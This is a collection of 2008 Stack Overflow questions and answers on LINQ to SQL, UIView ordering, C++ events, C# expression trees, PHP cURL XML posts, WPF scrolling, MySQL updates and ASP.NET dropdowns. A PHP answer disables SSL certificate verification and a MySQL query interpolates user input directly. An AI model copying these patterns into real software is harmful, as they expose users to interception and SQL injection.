[ { "answer_id": 238706, "author": "Keltex", "author_id": 28260, "author_profile": "https://Stackoverflow.com/users/28260", "pm_score": 2, "selected": false, "text": "<p>Your 2nd example is doing an inner join. It won't return Concessions which have null FirmID. You want to do an outer join in this case:</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/vbasic/bb737929.aspx#grpjoinleftout\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/vbasic/bb737929.aspx#grpjoinleftout</a></p>\n" }, { "answer_id": 238717, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 2, "selected": false, "text": "<p>Where are you getting the error?</p>\n\n<p>I've just done a similar LINQ query (in VB.Net), and it worked fine (setting Title to null)</p>\n\n<p>You will later have to deal with title being null, but that's not really a LINQ problem.\nAnd even that can be easily deal with in C#.</p>\n\n<pre><code>from c in Db.Concessions\nselect \n{ \n c.ConcessionID, \n c.Title, \n Title = c.Firm.Title ?? \"\"\n}\n</code></pre>\n\n<p>The equivalent in Vb.net would be to use the Iif(), but I couldn't get that to work.</p>\n" }, { "answer_id": 238873, "author": "Herb Caudill", "author_id": 239663, "author_profile": "https://Stackoverflow.com/users/239663", "pm_score": 2, "selected": true, "text": "<p>@James Curran: I'm getting the error any time the query is actually executed - e.g. if I databind a grid to it, or if I apply <code>.ToList</code> to it. </p>\n\n<p>VB.NET has a new true ternary syntax (still more verbose than C#). This actually works: </p>\n\n<pre><code>From c As Concession In db.Concessions _\nSelect _\n c.ConcessionID, _\n c.Title, _\n Firm_Title = If(c.Firm IsNot Nothing, c.Firm.Title, String.Empty) _\n</code></pre>\n\n<p>I'm not really satisfied with this approach - it's a pain to have to do that with every field I might use from the foreign table. I'm curious to know why your query is working and mine isn't - is your DataContext generated by SqlMetal? Is the relationship inferred from the database?</p>\n" }, { "answer_id": 886541, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Deal with it in the object constructor</p>\n\n<pre><code>Public Property office() As String\n Get\n Return _office\n End Get\n Set(ByVal value As String)\n If value IsNot Nothing Then\n _office = value\n Else\n _office = String.Empty\n End If\n End Set\n End Property\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238702", "https://Stackoverflow.com", "https://Stackoverflow.com/users/239663/" ]
In my database, Concessions have a many-to-one relationship with Firms (each Concession has a FirmID). SqlMetal has captured this relationship and generated the appropriate classes, so that each Concession has a Firm element. I'm binding against a query (simplified here) that returns a list of Concessions along with information about the corresponding Firm: ``` From c as Concession in Db.Concessions _ Select _ c.ConcessionID, _ c.Title, _ c.Firm.Title ``` The problem is that in some cases a Concession has not been assigned to a Firm (c.FirmID is null), so c.Firm is nothing and I get `Object not set to an instance` etc. I can get around this by doing a join as follows: ``` From c As Concession In Db.Concessions _ Join f As Firm In Db.Firms On f.FirmID Equals c.FirmID _ Select _ c.ConcessionID, _ c.Title, _ Firm_Title = f.Title ``` This doesn't throw an error when FirmID is null (Firm\_Title is just an empty string), but it's not elegant: it's not object-oriented, and it doesn't leverage all of the relational intelligence that Linq to SQL has already captured. Is there a more graceful way to deal with this situation?
@James Curran: I'm getting the error any time the query is actually executed - e.g. if I databind a grid to it, or if I apply `.ToList` to it. VB.NET has a new true ternary syntax (still more verbose than C#). This actually works: ``` From c As Concession In db.Concessions _ Select _ c.ConcessionID, _ c.Title, _ Firm_Title = If(c.Firm IsNot Nothing, c.Firm.Title, String.Empty) _ ``` I'm not really satisfied with this approach - it's a pain to have to do that with every field I might use from the foreign table. I'm curious to know why your query is working and mine isn't - is your DataContext generated by SqlMetal? Is the relationship inferred from the database?
238,733
<p>I want to "remove" a UIView from a superview and add it again at the end... but at the "bottom" of the rest of the UIviews that belong to the superview. </p> <p>Is this possible?</p> <p>Any help is very appreciated!</p>
[ { "answer_id": 238758, "author": "Max Stewart", "author_id": 18338, "author_profile": "https://Stackoverflow.com/users/18338", "pm_score": 5, "selected": true, "text": "<p>Hmmm...</p>\n\n<pre><code>- (void)insertSubview:(UIView *)view atIndex:(NSInteger)index;\n</code></pre>\n\n<p>Might be what you're after? Alternatively -</p>\n\n<pre><code>- (void)insertSubview:(UIView *)view belowSubview:(UIView *)siblingSubview;\n</code></pre>\n\n<p>Though you could avoid removing the view all together (if you don't need to for any other reason) by calling sendSubviewToBack: -</p>\n\n<pre><code>- (void)sendSubviewToBack:(UIView *)view;\n</code></pre>\n" }, { "answer_id": 238796, "author": "Gu1234", "author_id": 407138, "author_profile": "https://Stackoverflow.com/users/407138", "pm_score": 1, "selected": false, "text": "<p>I don't really understand what you mean by bottom.\nYou can use: <code>[view removeFromSuperview];</code> to remove it ( make sure you <code>retain</code> it ( <code>[view retain];</code> ) before you do that and <code>release</code> <code>[view release];</code> when it's no longer needed.</p>\n\n<p>Another thing you can do if you want one view to be behind another view is to set its \"<code>zPosition</code>\" ( <code>view.layer.zPosition = X;</code> )</p>\n\n<p>if a View has a <code>zPosition</code> that is bigger than another views <code>zPosition</code> it will appear on top of the other view.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238733", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23695/" ]
I want to "remove" a UIView from a superview and add it again at the end... but at the "bottom" of the rest of the UIviews that belong to the superview. Is this possible? Any help is very appreciated!
Hmmm... ``` - (void)insertSubview:(UIView *)view atIndex:(NSInteger)index; ``` Might be what you're after? Alternatively - ``` - (void)insertSubview:(UIView *)view belowSubview:(UIView *)siblingSubview; ``` Though you could avoid removing the view all together (if you don't need to for any other reason) by calling sendSubviewToBack: - ``` - (void)sendSubviewToBack:(UIView *)view; ```
238,738
<p>I'm not sure how to look for this online... I think they might be called something different in C++</p> <p>I want to have a simple event system, somthing like</p> <pre><code>event myCustomEvent; myCustomEvent.subscribe( void myHandler(string) ); myCustomEvent.fire("a custom argument"); // myHandler prints out the string passed in the first argument event myNewCustomEvent; myNewCustomEvent.subscribe( void myNewHandler(int) ); myNewCustomEvent.fire(10); // myHandler prints 10 </code></pre> <p>I can do this pretty easily with a simple class -- but when i want to have an event that passes a different type or amount of arguments to the subscriber i have to write, and define an entirely new event class.. I figure there has to be some library, or maybe even something native in Visual C++ 2008 that will work something similar to this. It's basicly just an implementation of the Observer pattern, so it can't be too impossible to do in C++</p> <p>This really makes me appreciate how nice it is in JavaScript not to have to worry about the arguments you are passing.</p> <p>Tell me if this is a stupid question.</p>
[ { "answer_id": 238742, "author": "Keith Nicholas", "author_id": 10431, "author_profile": "https://Stackoverflow.com/users/10431", "pm_score": 3, "selected": false, "text": "<p>The observer pattern from the GOF is pretty much what you want.</p>\n\n<p>In the book, it has C++ code for this...</p>\n\n<p>Also, as always, Boost has stuff you can make use of as well</p>\n" }, { "answer_id": 238757, "author": "Jere.Jones", "author_id": 19476, "author_profile": "https://Stackoverflow.com/users/19476", "pm_score": 4, "selected": false, "text": "<p>Take a look at the boost <a href=\"http://www.boost.org/doc/libs/1_36_0/doc/html/signals.html\" rel=\"noreferrer\">signal</a> library. Combined with the <a href=\"http://www.boost.org/doc/libs/1_36_0/doc/html/function.html\" rel=\"noreferrer\">function</a> and <a href=\"http://www.boost.org/doc/libs/1_36_0/libs/bind/bind.html\" rel=\"noreferrer\">bind</a> libraries, you can do exactly what you are looking for.</p>\n" }, { "answer_id": 238766, "author": "Jim Buck", "author_id": 2666, "author_profile": "https://Stackoverflow.com/users/2666", "pm_score": 5, "selected": true, "text": "<p>I use <a href=\"http://sigslot.sourceforge.net/\" rel=\"noreferrer\">sigslot</a> for exactly this purpose.</p>\n" }, { "answer_id": 238963, "author": "Eclipse", "author_id": 8701, "author_profile": "https://Stackoverflow.com/users/8701", "pm_score": 3, "selected": false, "text": "<p>There is a native Visual C++ <a href=\"http://msdn.microsoft.com/en-us/library/6f01ek09.aspx\" rel=\"noreferrer\">event system</a>. It's mostly for COM, but it has native C++ support too.</p>\n\n<p>From <a href=\"http://msdn.microsoft.com/en-us/library/ee2k0a7d.aspx\" rel=\"noreferrer\">here</a>:</p>\n\n<pre><code>[event_source(native)]\nclass CSource {\npublic:\n __event void MyEvent(int nValue);\n};\n\n[event_receiver(native)]\nclass CReceiver {\npublic:\n void MyHandler1(int nValue) {\n printf_s(\"MyHandler1 was called with value %d.\\n\", nValue);\n }\n\n void MyHandler2(int nValue) {\n printf_s(\"MyHandler2 was called with value %d.\\n\", nValue);\n }\n\n void hookEvent(CSource* pSource) {\n __hook(&amp;CSource::MyEvent, pSource, &amp;CReceiver::MyHandler1);\n __hook(&amp;CSource::MyEvent, pSource, &amp;CReceiver::MyHandler2);\n }\n\n void unhookEvent(CSource* pSource) {\n __unhook(&amp;CSource::MyEvent, pSource, &amp;CReceiver::MyHandler1);\n __unhook(&amp;CSource::MyEvent, pSource, &amp;CReceiver::MyHandler2);\n }\n};\n\nint main() {\n CSource source;\n CReceiver receiver;\n\n receiver.hookEvent(&amp;source);\n __raise source.MyEvent(123);\n receiver.unhookEvent(&amp;source);\n}\n</code></pre>\n" }, { "answer_id": 242488, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I use <a href=\"http://libsigc.sourceforge.net/\" rel=\"nofollow noreferrer\">libsigc++</a>. It's native for gtkmm.</p>\n\n<p>A simple example losely adapted from the <a href=\"https://developer.gnome.org/libsigc++-tutorial/stable/\" rel=\"nofollow noreferrer\">tutorial</a>:</p>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;sigc++/sigc++.h&gt;\n\nusing namespace std;\n\nclass AlienDetector {\npublic:\n void run ();\n sigc::signal&lt;void&gt; signal_detected;\n};\n\nvoid warn_people () {\n cout &lt;&lt; \"There are aliens in the carpark!\" &lt;&lt; endl;\n}\n\nvoid AlienDetector::run () {\n signal_detected.emit ();\n}\n\nint main () {\n AlienDetector mydetector;\n mydetector.signal_detected.connect (sigc::ptr_fun (warn_people));\n mydetector.run ();\n}\n</code></pre>\n\n<p>It also provides a mechanism to connect member-functions of specific objects to signals using sigc::mem_fun instead of sigc::ptr_fun:</p>\n\n<pre><code>sigc::mem_fun (someobject, &amp;SomeClass::some_method);\n</code></pre>\n\n<p>This pretty much provides anything that is possible with GLib-signals.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238738", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1825034/" ]
I'm not sure how to look for this online... I think they might be called something different in C++ I want to have a simple event system, somthing like ``` event myCustomEvent; myCustomEvent.subscribe( void myHandler(string) ); myCustomEvent.fire("a custom argument"); // myHandler prints out the string passed in the first argument event myNewCustomEvent; myNewCustomEvent.subscribe( void myNewHandler(int) ); myNewCustomEvent.fire(10); // myHandler prints 10 ``` I can do this pretty easily with a simple class -- but when i want to have an event that passes a different type or amount of arguments to the subscriber i have to write, and define an entirely new event class.. I figure there has to be some library, or maybe even something native in Visual C++ 2008 that will work something similar to this. It's basicly just an implementation of the Observer pattern, so it can't be too impossible to do in C++ This really makes me appreciate how nice it is in JavaScript not to have to worry about the arguments you are passing. Tell me if this is a stupid question.
I use [sigslot](http://sigslot.sourceforge.net/) for exactly this purpose.
238,765
<p>I am parsing an Expression Tree. Given a NodeType of ExpressionType.MemberAccess, how do I get the value of that Field? </p> <p>From C# MSDN docs: MemberAccess is A node that represents reading from a field or property. </p> <p>A code snippet would be incredibly, incredibly helpful. Thanks in advance!!!</p> <p>My code looks something like this: </p> <pre><code>public static List&lt;T&gt; Filter(Expression&lt;Func&lt;T, bool&gt;&gt; filterExp) { //the expression is indeed a binary expression in this case BinaryExpression expBody = filterExp.Body as BinaryExpression; if (expBody.Left.NodeType == ExpressionType.MemberAccess) //do something with ((MemberExpressionexpBody.Left).Name //right hand side is indeed member access. in fact, the value comes from //aspdroplist.selectedvalue if (expBody.Right.NodeType == ExpressionType.MemberAccess) { //how do i get the value of aspdroplist.selected value?? note: it's non-static } //return a list } </code></pre>
[ { "answer_id": 238798, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 7, "selected": true, "text": "<p>[updated for clarity]</p>\n\n<p>First; cast the <code>Expression</code> to a <code>MemberExpression</code>.</p>\n\n<p>A <code>MemberExpression</code> has two things of interest:</p>\n\n<ul>\n<li>.Member - the <code>PropertyInfo</code> / <code>FieldInfo</code> to the member</li>\n<li>.Expression - the expression to evaluate to get the \"obj\" for the .Member</li>\n</ul>\n\n<p>i.e. if you can evaluate the <code>.Expression</code> to \"obj\", and the <code>.Member</code> is a <code>FieldInfo</code>, then you can get the actual value via <code>.GetValue(obj)</code> on the <code>FieldInfo</code> (and <code>PropertyInfo</code> is very similar).</p>\n\n<p>The problem is that evaluating the <code>.Expression</code> is very tricky ;-p</p>\n\n<p>Obviously you get lucky if it turns out to be a <code>ConstantExpression</code> - but in most cases it isn't; it could be a <code>ParameterExpression</code> (in which case you'll need to know the actual parameter value that you want to evaluate), or any other combination of <code>Expression</code>s.</p>\n\n<p>In many cases, a simple (perhaps lazy) option is to use <code>.Compile()</code> to get the .NET framework to do the heavy lifting; you can then evaluate the lambda as a typed delegate (passing in any parameters that the lambda requires). This isn't always an option, however.</p>\n\n<p>To show how complex this is; consider this trivial example (where I've hard-coded at every step, rather than testing etc):</p>\n\n<pre><code>using System;\nusing System.Linq.Expressions;\nusing System.Reflection;\nclass Foo\n{\n public string Bar { get; set; }\n}\n\nstatic class Program\n{\n static void Main()\n {\n Foo foo = new Foo {Bar = \"abc\"};\n Expression&lt;Func&lt;string&gt;&gt; func = () =&gt; foo.Bar;\n\n MemberExpression outerMember = (MemberExpression)func.Body;\n PropertyInfo outerProp = (PropertyInfo) outerMember.Member;\n MemberExpression innerMember = (MemberExpression)outerMember.Expression;\n FieldInfo innerField = (FieldInfo)innerMember.Member;\n ConstantExpression ce = (ConstantExpression) innerMember.Expression;\n object innerObj = ce.Value;\n object outerObj = innerField.GetValue(innerObj);\n string value = (string) outerProp.GetValue(outerObj, null); \n }\n\n}\n</code></pre>\n" }, { "answer_id": 238945, "author": "Keith Fitzgerald", "author_id": 49611, "author_profile": "https://Stackoverflow.com/users/49611", "pm_score": 5, "selected": false, "text": "<p>thank you so so much to Marc Gravell above. I really appreciated his help. </p>\n\n<p>It turns out, in my case. the problem can be solved via:</p>\n\n<pre><code>object value = Expression.Lambda(expBody.Right).Compile().DynamicInvoke();\n</code></pre>\n\n<p>Thanks again Mark!</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238765", "https://Stackoverflow.com", "https://Stackoverflow.com/users/49611/" ]
I am parsing an Expression Tree. Given a NodeType of ExpressionType.MemberAccess, how do I get the value of that Field? From C# MSDN docs: MemberAccess is A node that represents reading from a field or property. A code snippet would be incredibly, incredibly helpful. Thanks in advance!!! My code looks something like this: ``` public static List<T> Filter(Expression<Func<T, bool>> filterExp) { //the expression is indeed a binary expression in this case BinaryExpression expBody = filterExp.Body as BinaryExpression; if (expBody.Left.NodeType == ExpressionType.MemberAccess) //do something with ((MemberExpressionexpBody.Left).Name //right hand side is indeed member access. in fact, the value comes from //aspdroplist.selectedvalue if (expBody.Right.NodeType == ExpressionType.MemberAccess) { //how do i get the value of aspdroplist.selected value?? note: it's non-static } //return a list } ```
[updated for clarity] First; cast the `Expression` to a `MemberExpression`. A `MemberExpression` has two things of interest: * .Member - the `PropertyInfo` / `FieldInfo` to the member * .Expression - the expression to evaluate to get the "obj" for the .Member i.e. if you can evaluate the `.Expression` to "obj", and the `.Member` is a `FieldInfo`, then you can get the actual value via `.GetValue(obj)` on the `FieldInfo` (and `PropertyInfo` is very similar). The problem is that evaluating the `.Expression` is very tricky ;-p Obviously you get lucky if it turns out to be a `ConstantExpression` - but in most cases it isn't; it could be a `ParameterExpression` (in which case you'll need to know the actual parameter value that you want to evaluate), or any other combination of `Expression`s. In many cases, a simple (perhaps lazy) option is to use `.Compile()` to get the .NET framework to do the heavy lifting; you can then evaluate the lambda as a typed delegate (passing in any parameters that the lambda requires). This isn't always an option, however. To show how complex this is; consider this trivial example (where I've hard-coded at every step, rather than testing etc): ``` using System; using System.Linq.Expressions; using System.Reflection; class Foo { public string Bar { get; set; } } static class Program { static void Main() { Foo foo = new Foo {Bar = "abc"}; Expression<Func<string>> func = () => foo.Bar; MemberExpression outerMember = (MemberExpression)func.Body; PropertyInfo outerProp = (PropertyInfo) outerMember.Member; MemberExpression innerMember = (MemberExpression)outerMember.Expression; FieldInfo innerField = (FieldInfo)innerMember.Member; ConstantExpression ce = (ConstantExpression) innerMember.Expression; object innerObj = ce.Value; object outerObj = innerField.GetValue(innerObj); string value = (string) outerProp.GetValue(outerObj, null); } } ```
238,784
<p>I wrote a class/function to send xml over https via PHP4/cURL, just wondering if this is the correct approach, or if there's a better one.</p> <p>Note that PHP5 is not an option at present.</p> <pre><code>/** * Send XML via http(s) post * * curl --header "Content-Type: text/xml" --data "&lt;?xml version="1.0"?&gt;...." http://www.foo.com/ * */ function sendXmlOverPost($url, $xml) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); // For xml, change the content-type. curl_setopt ($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml")); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $xml); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // ask for results to be returned if(CurlHelper::checkHttpsURL($url)) { curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); } // Send to remote and return data to caller. $result = curl_exec($ch); curl_close($ch); return $result; } </code></pre> <p>cheers!</p>
[ { "answer_id": 238790, "author": "Nick Stinemates", "author_id": 4960, "author_profile": "https://Stackoverflow.com/users/4960", "pm_score": -1, "selected": false, "text": "<p>Use the <a href=\"http://us2.php.net/manual/en/function.soap-soapclient-construct.php\" rel=\"nofollow noreferrer\">SoapClient</a> class provided with most PHP installations</p>\n\n<p>An example is:</p>\n\n<pre><code>$soap = new SoapClient(\"http://some.url/service/some.wsdl\");\n$args = array(\"someTypeName\" =&gt; \"someTypeValue\"\n \"someOtherTypeName\" =&gt; \"someOtherTypeValue\");\n\n$response = $soap-&gt;executeSomeService($args);\n\nprint_r($response);\n</code></pre>\n" }, { "answer_id": 240091, "author": "jakber", "author_id": 29812, "author_profile": "https://Stackoverflow.com/users/29812", "pm_score": 2, "selected": false, "text": "<p>If the protocol you are using is XML-RPC (looks like it based on what you said) and you are using at least PHP 4.2, have a look at <a href=\"http://phpxmlrpc.sourceforge.net/\" rel=\"nofollow noreferrer\">http://phpxmlrpc.sourceforge.net/</a> for libraries and resources.</p>\n" }, { "answer_id": 1973950, "author": "Dr. Rajesh Rolen", "author_id": 201387, "author_profile": "https://Stackoverflow.com/users/201387", "pm_score": 2, "selected": false, "text": "<p>$ch = curl_init($serviceUrl);</p>\n\n<pre><code> if( $this -&gt; usingHTTPS() )\n {\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, $this-&gt;sslVerifyHost);\n\n }\n\n curl_setopt($ch,CURLOPT_POST,TRUE);\n curl_setopt($ch, CURLOPT_HEADER, FALSE); \n curl_setopt ($ch, CURLOPT_POSTFIELDS, \"OTA_request=\".urlencode($this-&gt;xmlMessage));\n\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);\n\n $this-&gt;xmlResponse = curl_exec ($ch); \n\n $this -&gt; callerFactory -&gt; dbgMsg('xmlResponse: &lt;hr&gt;&lt;pre&gt;'.htmlentities($this-&gt;xmlResponse).'&lt;/pre&gt;&lt;hr&gt;'. curl_error($ch));\n curl_close ($ch);\n\n $this-&gt;checkResponse();\n</code></pre>\n" }, { "answer_id": 8314845, "author": "jhon", "author_id": 1071808, "author_profile": "https://Stackoverflow.com/users/1071808", "pm_score": 2, "selected": false, "text": "<p>Great solution! Found a similar one here also:</p>\n\n<ul>\n<li><a href=\"http://www.technoreaders.com/2011/11/29/post-json-xml-data-with-curl-and-receive-it-on-other-end/\" rel=\"nofollow\">Post JSON/XML data with curl and receive it on other end</a></li>\n</ul>\n\n<p>Also they have showed how to receive this kind of XML/JSON on server </p>\n\n<pre><code>// here you can have all the required business checks\nif ( $_SERVER['REQUEST_METHOD'] === 'POST' ){\n $postText = file_get_contents('php://input');\n}\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238784", "https://Stackoverflow.com", "https://Stackoverflow.com/users/29854/" ]
I wrote a class/function to send xml over https via PHP4/cURL, just wondering if this is the correct approach, or if there's a better one. Note that PHP5 is not an option at present. ``` /** * Send XML via http(s) post * * curl --header "Content-Type: text/xml" --data "<?xml version="1.0"?>...." http://www.foo.com/ * */ function sendXmlOverPost($url, $xml) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); // For xml, change the content-type. curl_setopt ($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml")); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $xml); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // ask for results to be returned if(CurlHelper::checkHttpsURL($url)) { curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); } // Send to remote and return data to caller. $result = curl_exec($ch); curl_close($ch); return $result; } ``` cheers!
If the protocol you are using is XML-RPC (looks like it based on what you said) and you are using at least PHP 4.2, have a look at <http://phpxmlrpc.sourceforge.net/> for libraries and resources.
238,792
<p>I cannot seem to programmatcally scroll in WPF in a normal Windows Form I would use the code below but that property does not exist in WPF.</p> <pre><code>HtmlDocument doc = this.webBrowser1.Document; doc.Body.ScrollTop = 800; return; </code></pre> <p>Is there an alternative to doing this? </p>
[ { "answer_id": 238826, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>Not exaclty sure what to look for in that code, but I basically have a WebControl that shows a Webpage that has several articles. \nI would like to jump to an article by it's title. I know I can get the index of the article name, but jumping to it is the issue.</p>\n" }, { "answer_id": 50808320, "author": "Kyle Delaney", "author_id": 2122672, "author_profile": "https://Stackoverflow.com/users/2122672", "pm_score": 0, "selected": false, "text": "<p>How about this?</p>\n\n<pre><code>if (wb.Document is mshtml.HTMLDocument htmlDoc)\n{\n htmlDoc.parentWindow.scrollTo(0, 0);\n}\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238792", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I cannot seem to programmatcally scroll in WPF in a normal Windows Form I would use the code below but that property does not exist in WPF. ``` HtmlDocument doc = this.webBrowser1.Document; doc.Body.ScrollTop = 800; return; ``` Is there an alternative to doing this?
Not exaclty sure what to look for in that code, but I basically have a WebControl that shows a Webpage that has several articles. I would like to jump to an article by it's title. I know I can get the index of the article name, but jumping to it is the issue.
238,800
<p>I have a query:</p> <p>UPDATE choices SET votes = votes + 1 WHERE choice_id = '$user_choice'</p> <p>But when I execute it in my script, the votes field is updated twice, so the votes will go from 4 to 6 instead to 5. It doesn't seem that it is getting called twice because I echo out stuff to test this and only get one echo. Is there a way to have it so PHP will only execute this query once per page "refresh"?</p> <p><strong>EDIT</strong>: Thanks for the responses, I'm using regular MySQL, no MySQLi or PDO. Another thing I found is that when doing the query, it works when you start out with 0 and update to 1, but then after that it goes 3, 5, 7, ...</p>
[ { "answer_id": 238808, "author": "Bill Karwin", "author_id": 20860, "author_profile": "https://Stackoverflow.com/users/20860", "pm_score": 2, "selected": false, "text": "<p>There are several SQL interfaces for many different brands of database in PHP. You haven't shown the PHP code you use to execute the query, nor have you identified which brand of database you use.</p>\n\n<p>In some SQL interfaces in PHP, creating the statement implicitly executes the SQL. Then you have the opportunity to fetch results (if it was a SELECT statement). If your statement was a SELECT or DELETE, it's likely that no harm was done, though it's unnecessary to execute the statement twice. If your statement was an INSERT or UPDATE, though, you may find it has taken effect twice.</p>\n\n<p>For example, using PDO:</p>\n\n<pre><code>$pdo = new PDO(...options...);\n$stmt = $pdo-&gt;query('UPDATE ...'); // executes once\n$stmt-&gt;execute(); // executes a second time\n</code></pre>\n" }, { "answer_id": 238818, "author": "gilm", "author_id": 31515, "author_profile": "https://Stackoverflow.com/users/31515", "pm_score": 1, "selected": false, "text": "<p>This answer is an overkill, but you can make sure it's executed twice, by enabling the binary logs in your mysql (remember, overkill!). You can then use mysqllog tool to view these files and see if the query was executed twice.</p>\n\n<p>Everybody believes somewhere in your code it's being queried twice :) I'm using such query and it's working perfectly. Another thing, I have a wrapper class for my PEAR_DB object. If asked for, it can output the queries (and timestamps+stack trace) that were used when rendering the current page. I use it to find duplicate queries (like yours) and slow updates.</p>\n" }, { "answer_id": 239189, "author": "Kirill Titov", "author_id": 25705, "author_profile": "https://Stackoverflow.com/users/25705", "pm_score": 1, "selected": false, "text": "<p>First you need to make proper query:</p>\n\n<pre><code>UPDATE `choices` SET `votes` = `votes` + 1 WHERE `choice_id` = '$user_choice'\n</code></pre>\n\n<p>This query must work properly. Maybe you got error in PHP code and this query executes two times?</p>\n" }, { "answer_id": 239203, "author": "Darryl Hein", "author_id": 5441, "author_profile": "https://Stackoverflow.com/users/5441", "pm_score": 1, "selected": false, "text": "<p>You may just need to put brackets around the <code>votes + 1</code> such as:</p>\n\n<pre><code>UPDATE choices SET votes = (votes + 1) WHERE choice_id = '$user_choice';\n</code></pre>\n\n<p>I might also put a <code>LIMIT 1</code> at the end.</p>\n\n<p>Also, have tried running the query outside of your PHP, like through PHPMyAdmin? Also, try echoing out your SQL in whole before running it...you may just find an error.</p>\n" }, { "answer_id": 239891, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>One other option is, if you are using firefox at all and have firbug installed you need to disable your cache. For some reason firbug results in two calls to the dB. Took weeks to figure this out where I work as QA was getting all kinds of strange results when testing. he was the only one with firebug.</p>\n" }, { "answer_id": 242441, "author": "Ronald Conco", "author_id": 16092, "author_profile": "https://Stackoverflow.com/users/16092", "pm_score": 0, "selected": false, "text": "<p>I just created the a database table to test this query, I must say it is running fine on my side.</p>\n\n<blockquote>\n <p>UPDATE <code>choices</code> SET <code>votes</code> = ( votes +1 ) WHERE <code>choice_id</code> = '1' </p>\n</blockquote>\n\n<p>I think the code my be executed twice in your application, can you try and print out the sql\nas it is being ran. You can also run the outputted sql statement natively against your database. </p>\n\n<p>To conclude , The sql statement is fine just double your application scripts.</p>\n" }, { "answer_id": 242458, "author": "Kris", "author_id": 18565, "author_profile": "https://Stackoverflow.com/users/18565", "pm_score": 0, "selected": false, "text": "<p>I'm just guessing here but maybe this code is executed once for every resource used on a page? So if you have an image or iframe that uses the same code both resources execute it once, resulting in the field being updated twice.</p>\n\n<p>I had this just last week in my PDO based session handler, my test counter would fire twice because the site logo is also served by php and i was updating the test counter in the auto_prepend_file.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238800", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I have a query: UPDATE choices SET votes = votes + 1 WHERE choice\_id = '$user\_choice' But when I execute it in my script, the votes field is updated twice, so the votes will go from 4 to 6 instead to 5. It doesn't seem that it is getting called twice because I echo out stuff to test this and only get one echo. Is there a way to have it so PHP will only execute this query once per page "refresh"? **EDIT**: Thanks for the responses, I'm using regular MySQL, no MySQLi or PDO. Another thing I found is that when doing the query, it works when you start out with 0 and update to 1, but then after that it goes 3, 5, 7, ...
There are several SQL interfaces for many different brands of database in PHP. You haven't shown the PHP code you use to execute the query, nor have you identified which brand of database you use. In some SQL interfaces in PHP, creating the statement implicitly executes the SQL. Then you have the opportunity to fetch results (if it was a SELECT statement). If your statement was a SELECT or DELETE, it's likely that no harm was done, though it's unnecessary to execute the statement twice. If your statement was an INSERT or UPDATE, though, you may find it has taken effect twice. For example, using PDO: ``` $pdo = new PDO(...options...); $stmt = $pdo->query('UPDATE ...'); // executes once $stmt->execute(); // executes a second time ```
238,812
<p>I have a server dropdownlist in an <a href="http://en.wikipedia.org/wiki/Ajax_%28programming%29" rel="noreferrer">Ajax</a> updatepanel. When I use the mouse to click on an item it fires the postback but when I click the up/down arrow to change entries, this is not firing. What could be reason?</p>
[ { "answer_id": 238816, "author": "YonahW", "author_id": 3821, "author_profile": "https://Stackoverflow.com/users/3821", "pm_score": 0, "selected": false, "text": "<p>I think you have to leave the control if you are using the keyboard in order to fire the event.</p>\n" }, { "answer_id": 238864, "author": "Paul Prewett", "author_id": 15751, "author_profile": "https://Stackoverflow.com/users/15751", "pm_score": 0, "selected": false, "text": "<p>If you want it to work with the arrow keys, you should use the client side event, <code>onKeyDown</code>.</p>\n" }, { "answer_id": 238934, "author": "Christian C. Salvadó", "author_id": 5445, "author_profile": "https://Stackoverflow.com/users/5445", "pm_score": 4, "selected": true, "text": "<p>Try this:</p>\n\n<pre><code>&lt;asp:DropDownList ID=\"DropDownList1\" runat=\"server\" AutoPostBack=\"True\" \nOnSelectedIndexChanged=\"DropDownList1_SelectedIndexChanged\" onKeyUp=\"this.blur();\"&gt;\n</code></pre>\n\n<p>With <strong>onKeyUp=\"this.blur();\"</strong> the control will lose focus when a key is unpressed, and that will trigger the onChange event.</p>\n" }, { "answer_id": 238950, "author": "Dhaust", "author_id": 242, "author_profile": "https://Stackoverflow.com/users/242", "pm_score": 3, "selected": false, "text": "<p>Try setting the '<strong>AutoPostBack</strong>' property of the DropDownList control to '<strong>true</strong>'. </p>\n\n<pre><code>&lt;asp:DropDownList ID=\"DropDownList1\" runat=\"server\" 